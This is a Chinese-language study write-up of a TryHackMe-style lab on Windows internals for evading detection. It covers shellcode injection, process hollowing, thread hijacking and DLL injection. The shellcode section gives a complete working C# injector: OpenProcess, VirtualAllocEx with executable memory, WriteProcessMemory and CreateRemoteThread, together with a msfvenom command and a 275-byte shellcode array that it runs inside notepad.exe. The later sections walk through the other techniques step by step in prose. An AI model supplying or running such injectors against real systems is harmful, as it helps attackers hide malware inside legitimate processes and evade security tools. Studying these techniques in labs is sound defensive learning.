从这一章开始,讲的东西也是非常的重要,我个人认为可能对于未来的进一步学习有着重要的影响
还是老样子,非必要的情况下,我只展示C#版本的代码
利用Windows内部组件,使用与工具无关的现代方法避开常见的检测解决方案。
Windows 内部是 Windows 操作系统运行方式的核心;这为对手提供了一个有利可图的恶意使用目标。Windows 内部可用于隐藏和执行代码、逃避检测以及与其他技术或漏洞链接。
进程注入通常用作一个总体术语,用于描述通过合法功能或组件将恶意代码注入进程。我们将在这个房间里重点介绍四种不同类型的工艺注入,概述如下。
在最基本的层面上,进程注入采用shellcode注入的形式。
在高级别上,shellcode 注入可以分为四个步骤:
在 shellcode 注入的第一步,我们需要使用特殊参数打开一个目标进程。 OpenProcess用于打开通过命令行提供的目标进程。
[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, uint processId);
...
IntPtr processHandle = OpenProcess(0x001F0FFF, false, Uint.Parse(args[0]));
有关C#调用win api的信息可以在pinvoke.net和微软官方文档上找到
在第二步,我们必须为外壳代码的字节大小分配内存。内存分配使用 VirtualAllocEx
[DllImport("kernel32.dll", SetLastError=true, ExactSpelling =true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
...
// 0x3000表示MEM_RESERVE和MEM_COMMIT
// 0x40表示PAGE_EXECUTE_READWRITE
IntPtr address = VirtualAllocEx(processHandle, IntPtr.Zero, 0x1000, 0x3000, 0x40);
在第三步,我们现在可以使用分配的内存区域来编写我们的外壳代码。 WriteProcessMemory通常用于写入内存区域。
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
...
IntPtr size;
WriteProcessMemory(processHandle, address, shellcode, shellcode.Length, out size);
在第四步,我们现在控制了进程,我们的恶意代码现在被写入内存。要执行驻留在内存中的外壳代码,我们可以使用CreateRemoteThread 创建在另一个进程的虚拟地址空间中运行的线程.
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
...
CreateRemoteThread(processHandle, IntPtr.Zero, 0, address, IntPtr.Zero, 0, IntPtr.Zero);
使用msf生成shellcode
msfvenom -p windows/x64/exec cmd='cmd.exe' -f csharp
完整代码:
using System;
using System.Runtime.InteropServices;
class Program
{
[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, uint processId);
[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
if (args.Length == 0)
{
return;
}
byte[] shellcode = new byte[275] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,
0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64,
0x2e,0x65,0x78,0x65,0x00};
IntPtr processHandle = OpenProcess(0x001F0FFF, false, uint.Parse(args[0]));
IntPtr address = VirtualAllocEx(processHandle, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr size;
WriteProcessMemory(processHandle, address, shellcode, shellcode.Length, out size);
CreateRemoteThread(processHandle, IntPtr.Zero, 0, address, IntPtr.Zero, 0, IntPtr.Zero);
}
}
使用csc编译,然后启动一个notepad.exe,使用tasklist查看pid,运行我们的进程注入器
可以看到刚刚打开的notepad没了,并且打开了一个cmd, 也就是说执行了我们的shellcode
在上一个任务中,我们讨论了如何使用shellcode注入将恶意代码注入到合法进程中。在此任务中,我们将介绍进程镂空。与shellcode注入类似,这种技术提供了将整个恶意文件注入进程的能力。这是通过“挖空”或取消映射进程并将特定的PE数据和部分注入进程来实现的。
镂空可以分为六个步骤:
由于代码太多,后面的我就不贴代码了,因为基本都是借助pinvoke.net来将C++翻译成C#的, C++的代码在thm的机器中均有提供
在进程镂空的第一步,我们必须使用 CreateProcessA. 要获取 API 调用所需的参数,我们可以使用以下结构 STARTUPINFOA 和 PROCESS_INFORMATION
在第二步中,我们需要打开一个恶意image进行注入。此过程分为三个步骤,首先使用 CreateFileA 获取恶意映像的句柄.
获取恶意映像的句柄后,必须使用 VirtualAlloc. GetFileSize 还用于检索恶意图像的大小 dwSize.
现在内存已分配给本地进程,必须写入内存。使用从前面步骤中获得的信息,我们可以使用 ReadFile 写入本地进程内存.
在第三步,必须通过取消映射内存来“挖空”该过程。在取消映射之前,我们必须确定 API 调用的参数。我们需要确定进程在内存中的位置和入口点。中央处理器寄存器 EAX (入口点),以及 EBX (PEB位置)包含我们需要获取的信息;这些可以通过使用 GetThreadContext. 找到两个寄存器后, ReadProcessMemory 用于从 EBX 带偏移量 (0x8), 通过检查PEB获得.
存储基址后,我们可以开始取消映射内存。我们可以使用 ZwUnmapViewOfSection 从 NTDLL 导入.dll以释放目标进程中的内存.
在第四步,我们必须首先在空心过程中分配内存。我们可以使用 VirtualAlloc 类似于分配内存的步骤二。这次我们需要获取在文件头中找到的图像大小. e_lfanew 可以识别从 DOS 标头到 PE 标头的字节数。到达 PE 标头后,我们可以获得 SizeOfImage 从可选标头.
分配内存后,我们可以将恶意文件写入内存。因为我们正在写入文件,所以我们必须首先写入 PE 标头,然后写入 PE 部分。要写入 PE 标头,我们可以使用 WriteProcessMemory 以及标头的大小,以确定停止的位置.
现在我们需要编写每个部分。要查找部分的数量,我们可以使用 NumberOfSections 从 NT 标头。我们可以循环通过 e_lfanew 以及用于写入每个部分的当前标头的大小.
在第五步,我们可以使用 SetThreadContext 要更改 EAX 指向入口点.
在第六步,我们需要使用 ResumeThread.
劫持可以分为十个步骤:
由于代码太多,后面的我就不贴代码了,因为基本都是借助pinvoke.net来将C++翻译成C#的, C++的代码在thm的机器中均有提供
我们将分解一个基本的线程劫持脚本,以确定每个步骤,并在下面更深入地解释。
该技术中概述的前三个步骤遵循与正常过程注入相同的常见步骤。
一旦初始步骤结束并且我们的shellcode被写入内存,我们就可以进入第四步。在第四步,我们需要通过识别线程 ID 来开始劫持进程线程的过程。要识别线程ID,我们需要使用三个Windows API调用: CreateToolhelp32Snapshot(), Thread32First(), and Thread32Next(). 这些 API 调用将共同循环访问进程的快照,并扩展功能以枚举进程信息.
在第五步,我们已经在结构指针中收集了所有必需的信息,并且可以打开目标线程。要打开我们将使用的线程 OpenThread 与 THREADENTRY32 结构指针.
在第六步,我们必须挂起打开的目标线程。要挂起我们可以使用的线程 SuspendThread.
在第七步,我们需要获取要在即将到来的 API 调用中使用的线程上下文。这可以通过以下方式完成 GetThreadContext 存储指针.
在第八步,我们需要覆盖RIP(指令指针寄存器)以指向我们的恶意内存区域。如果您还不熟悉 CPU 寄存器,RIP 是一个 x64 寄存器,它将确定下一个代码指令;简而言之,它控制内存中应用程序的流。要覆盖寄存器,我们可以更新 RIP 的线程上下文.
在步骤 9 中,上下文已更新,需要更新为当前线程上下文。这可以使用 SetThreadContext 和上下文的指针.
在最后一步,我们现在可以使目标线程脱离挂起状态。为此,我们可以使用 ResumeThread.
DLL 注入可以分为五个步骤:
由于代码太多,后面的我就不贴代码了,因为基本都是借助pinvoke.net来将C++翻译成C#的, C++的代码在thm的机器中均有提供
我们将分解一个基本的 DLL 注入器,以确定每个步骤,并在下面更深入地解释。
在 DLL 注入的第一步,我们必须找到一个目标线程。可以使用三个 Windows API 调用从进程中定位线程: CreateToolhelp32Snapshot(), Process32First(), and Process32Next().
在第二步,枚举 PID 后,我们需要打开该进程。这可以通过各种 Windows API 调用来实现。: GetModuleHandle, GetProcAddress, or OpenProcess.
在步骤 3 中,必须为提供的恶意 DLL 分配内存才能驻留。与大多数喷油器一样,这可以使用 VirtualAllocEx.
在第四步,我们需要将恶意 DLL 写入分配的内存位置。我们可以使用 WriteProcessMemory 写入分配的区域.
在第五步,我们的恶意DLL被写入内存,我们需要做的就是加载并执行它。要加载 DLL,我们需要使用 LoadLibrary; 进口自 kernel32. 加载后, CreateRemoteThread 可用于使用 LoadLibrary 作为启动函数.